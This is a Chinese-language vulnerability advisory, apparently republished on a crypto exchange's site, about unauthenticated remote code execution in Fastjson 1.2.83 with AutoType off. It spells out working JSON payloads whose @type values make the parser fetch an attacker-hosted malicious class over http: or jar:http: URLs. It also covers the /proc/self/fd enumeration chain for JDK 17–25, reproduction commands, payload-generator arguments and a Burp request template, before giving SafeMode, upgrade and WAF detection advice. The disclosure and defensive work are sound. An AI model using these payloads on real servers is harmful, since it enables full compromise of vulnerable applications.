Fastjson 1.2.83 在預設 AutoType=false 下仍可觸發無需傳統 gadget 的遠程代碼執行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔離環境重現。
在傳統 Java 反序列化漏洞防禦體系中,業界普遍存在以下認知盲區:"AutoType 預設關閉就安全"、"固定了 parseObject 的第二參數(頂層目標類型)就安全"、"排空了本地 Classpath 的反序列化 Gadget 依賴就安全"。然而,最新的技術攻防演進徹底打破了這些僥倖心理。
GCSA 全球網絡安全聯盟今日獨家發布本篇技術洞察報告。報告深入回顧了 Fastjson 1.2.83 在預設 AutoType=false 狀態下,依然可觸發無需傳統 Gadget 依賴的遠程代碼執行(RCE)的底層根因。目前,該利用技術已在 JDK 8 / 17 / 21 / 25 以及 Spring Boot Loader 隔離環境中端到端重現成功。本漏洞並非傳統的"繞過黑名單後尋找本地 Gadget",而是直接將 Fastjson 自身的 Class 元數據探測邏輯扭轉為遠程惡意 Class 的獲取與授權通道。以下為正文
Fastjson 1.2.83 在預設 AutoType=false 下仍可觸發無需傳統 gadget 的遠程代碼執行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔離環境重現。建議立即啟用 SafeMode 並遷移 Fastjson 2.x。
Fastjson 1.2.83 的 ParserConfig.checkAutoType 會把用戶可控的 @type 值轉換為 class 資源名,並交給當前 ClassLoader 的 getResourceAsStream:
String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
在能夠解析絕對 URL 資源名的 fat-jar ClassLoader 環境中,攻擊者可以利用點號替換構造 http:、jar:http: 和 jar:file: URL,從攻擊端下載帶有 @JSONType 的惡意 class。Fastjson 檢測到該註解後會調用 loadClass,並在危險基類檢查和目標類型相容性檢查之前直接返回該 class。class 被實例化、初始化時即可執行任意代碼。
該利用不依賴目標 classpath 中已有的傳統反序列化 gadget,且在 Fastjson AutoType=false 的預設狀態下仍可觸發。固定 JSON.parseObject 的目標類型不能阻止執行;啟用 SafeMode 可以在資源訪問前阻斷正常利用路徑。
本報告已使用同一個 JSON payload 在隔離 Linux 容器中完成以下重現:
不建議僅憑組件版本給出統一的 CVSS 9.8:普通 AppClassLoader 是負對照,現代 JDK 完整鏈還依賴能夠解析兩種絕對 JAR URL 的 loader 和 /proc/self/fd。在滿足本報告正向環境的應用中,漏洞效果為無需認證的網絡 RCE。
外部描述中的 1.2.68--1.2.83 更適合作為已知測試範圍,而不是漏洞引入版本。源碼核對表明,決定性的 class 資源探測代碼在 1.2.67 和 1.2.68 中已經存在。本報告僅對 1.2.83 完成了完整跨 JDK 運行時驗證。
攻擊者不需要:
源碼位置:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498
核心代碼:
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
該邏輯假設 resource 只是普通 classpath 路徑,但沒有限制其協議、絕對路徑語義或來源。對於特定 fat-jar loader,以下輸入會在替換後變成絕對 URL:
輸入類型名: http:..localhost:18081.a
資源名: http://localhost:18081/a.class 因此 getResourceAsStream 從本地元數據查詢越界為攻擊者可控的網絡資源加載。
Fastjson 使用自己的 ASM ClassReader 解析資源內容:
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
攻擊端只需讓遠程 class 帶有 Fastjson 的 @JSONType 註解,即可將 jsonType 置為 true。這裡檢查的是攻擊者提供的字節,而不是一個已經由可信 classpath 加載的類。
源碼位置:
ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass 依次嘗試顯式 loader、線程上下文 loader 和 Class.forName。在正向環境中,線程上下文 loader 會再次解析相同的絕對資源名、下載 class 並執行 defineClass。
源碼位置:
ParserConfig.java:1505-1528
if (clazz != null) {
if (jsonType) {
return clazz; } // These checks are performed after the jsonType is returned.
if (ClassLoader.class.isAssignableFrom(clazz)
|| DataSource.class.isAssignableFrom(clazz)
|| RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException(...); } if (expectClass != null) {
// assignability the check is also done later.
}
}
遠程 class 一旦攜帶 @JSONType:
源碼位置:
ParserConfig.java:1537-1542
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null; }
throw new JSONException("autoType is not support. " + typeName); }
現代 JDK 第一階段會因非法內部類名加載失敗。讓類型名以 Exception 結尾後,Fastjson 不會終止整個 JSON,而是返回 null,使解析器繼續處理數組中的 FD 枚舉元素。這一分支是單 payload 跨階段執行的關鍵。
SafeMode 檢查位於資源訪問之前:
ParserConfig.java:1325-1330
所以默認路徑中 SafeMode 能阻止網絡請求。不過 AutoTypeCheckHandler 位於 SafeMode 之前(ParserConfig.java:1316-1323);如果應用主動註冊了一個直接返回類型的 handler,需要單獨審計,不能把 SafeMode 理解為可覆蓋自定義 handler 的絕對邊界。
最短形式:
{"@type":"http:..localhost:18081.a"}
轉換鏈:
binary type name: http:..localhost:18081.a
resource URL: http://localhost:18081/a.class
class internal: http://localhost:18081/a
JDK 8 接受上述非常規內部類名。Spring Boot 2.7 的 LaunchedURLClassLoader 下載 class 後完成定義、實例化和初始化,惡意
JDK 17+ 同樣會完成網絡請求,但拒絕內部名中的空路徑段,
ClassFormatError: Illegal class name "http://localhost:18081/a"
所以短 http:.. 形式本身只在 JDK 8 完成 RCE。
單 payload 的首個數組元素:
{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}
轉換結果:
resource URL:
jar:http://attacker:18081/x!/foo/Exception.class
JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve 會創建 jar_cache* 臨時文件,將遠程 JAR 複製到該文件。
JDK 17+ 隨後拒絕第一階段 jar:http://... 內部名,但 Fastjson 因 Exception 後綴繼續解析數組。
後續候選元素:
{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}
轉換鏈:
binary type name:
jar:file:.proc.self.fd.7!.fd7.Exception resource URL:
jar:file:/proc/self/fd/7!/fd7/Exception.class class internal name:
jar:file:/proc/self/fd/7!/fd7/Exception
與 http:// 不同,該內部名的每個 / 分隔組件都非空,因此現代 JVM 接受。攻擊 JAR 中為每個候選 FD 準備一個入口:
fd3/Exception.class
fd4/Exception.class
...
fd64/Exception.class
每個 class 的常量池內部名都與對應 FD 的請求類型精確匹配,並攜帶 @JSONType。命中實際緩存句柄後,Fastjson 加載並實例化該類,
JDK 17 的 class-load 日誌中首個命中為:
jar:file:.proc.self.fd.7!.fd7.Exception
JDK 8 直接接受第一階段 jar:http://... class 並執行
第一階段 class 執行命令後故意拋出 RuntimeException("stage-one-stop"),阻止 JDK 8 繼續嘗試無關 socket/pipe FD
JDK 17+ 在 class 初始化前就因第一階段非法名稱失敗,隨後通過 Exception 軟返回進入 FD 枚舉階段
fastjson-1.2.83.jar
SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar
SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar
SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b
cd
PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh
期望輸出:
JDK 8 : RCE-OK
JDK 17: RCE-OK
JDK 21: RCE-OK
JDK 25: RCE-OK
腳本會:
cd
--host attacker \
--port 18081 \
--fd-root /proc/self/fd \
--min-fd 3 \
--max-fd 64 \
--out-jar target/getresource-repro/www-linux/x \
--out-json target/getresource-repro/fd-payload-linux.json
生成物:
Attacker JAR: target/getresource-repro/www-linux/x
JSON payload: target/getresource-repro/fd-payload-linux.json
--host 建議使用不含點號的 DNS 標籤或十進制 IPv4。原因不是繞過 localhost, 而是 Fastjson 會把類型名中的所有.都改成 /。例如十進制 IPv42130706433 等價於 127.0.0.1,但不會被點號替換拆開。
Burp 只負責向存在 Fastjson 解析點的受害接口發送 JSON;攻擊 JAR 仍需由攻擊端 HTTP 服務提供。
請求模板:
POST /parse HTTP/1.1
Host: victim.example
Content-Type: application/json
Connection: close
Content-Length: ... [Place the complete contents of fd-payload-linux.json here.]
如果應用使用固定頂層類型,可根據字段結構包裝陣列,例如:
{"value":[/* All array elements in fd-payload-linux.json */]}
本實驗使用 JSON.parseObject(json, BoundEnvelope.class) 解析上述包裝,結果仍為 RCE-OK,並正常返回 BoundEnvelope。
優先遷移至維護中的 Fastjson 2.x,並重新驗證所有多態類型、AutoType 和相容模式配置。不要僅替換 JAR 而不做回歸測試。
代碼配置:
ParserConfig.getGlobalInstance().setSafeMode(true);
JVM 參數:
-Dfastjson.parser.safeMode=true
注意:應用如註冊了 AutoTypeCheckHandler,應同步審計或移除,因為 handler 在 SafeMode 檢查之前執行。
臨時攔截 JSON key 解碼後等於 @type 的請求,並覆蓋 URL 參數、請求體及嵌套對象。不能只搜索明文 "@type",Fastjson lexer 會先解碼字段名,例如:
{"\u0040type":"..."}
{"\x40type":"..."}
WAF 規則只能作為緩解,不能代替組件升級和 SafeMode。
重點關注解碼後的 @type 值包含:
http:..
jar:http:..
jar:file:.proc.self.fd.
jar:file:.dev.fd.
!.fd
Exception
單獨出現 Exception 不足以告警,應與協議形式、@type 和陣列內連續 FD 候選組合關聯分析。
jar:file:.proc.self.fd.7!.fd7.Exception
本漏洞並非傳統的"繞過黑名單後尋找本地 gadget",而是把 Fastjson 自身的 class 元數據探測邏輯變成了遠程 class 獲取和授權通道。@JSONType 早返回使攻擊者提供的 class 在危險基類和類型綁定檢查之前被接受;Exception 失敗軟通道及 JDK jar:http: 臨時快取則將 JDK 8 的直接加載原語擴展到了 JDK 17/21/25。
因此以下常見判斷均不成立:
在滿足已驗證 loader、網路和文件描述符條件的部署中,該問題可以從單個未經認證的 JSON 請求發展為真實遠程代碼執行。應優先遷移 Fastjson 2.x,並立即啟用 SafeMode、收緊出網與 ClassLoader 資源解析邊界。
Full research log: target/FASTJSON_1_2_83_RCE_ANALYSIS.md
Reproduction instructions: target/getresource-repro/README.md
JDK 8 short chain: target/getresource-repro/reproduce.sh
JDK 8/17/21/25 Linux full chain: target/getresource-repro/reproduce_fd_chain.sh
Attack JAR/payload generator: target/getresource-repro/build_fd_chain.py
Generated Linux payload: target/getresource-repro/fd-payload-linux.json
JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log
本內容僅供參考,不構成任何金融、投資、法律或稅務建議。文中提及的任何活動、獎勵、線上活動或相關資訊,不應被視為對購買、出售或交易任何加密資產的推薦、招攬或邀請。加密資產具有高波動性,存在價值損失風險。WEEX服務、產品及相關活動的可用性可能因地區而異。用戶在參與前有責任確保符合當地適用法律法規。

















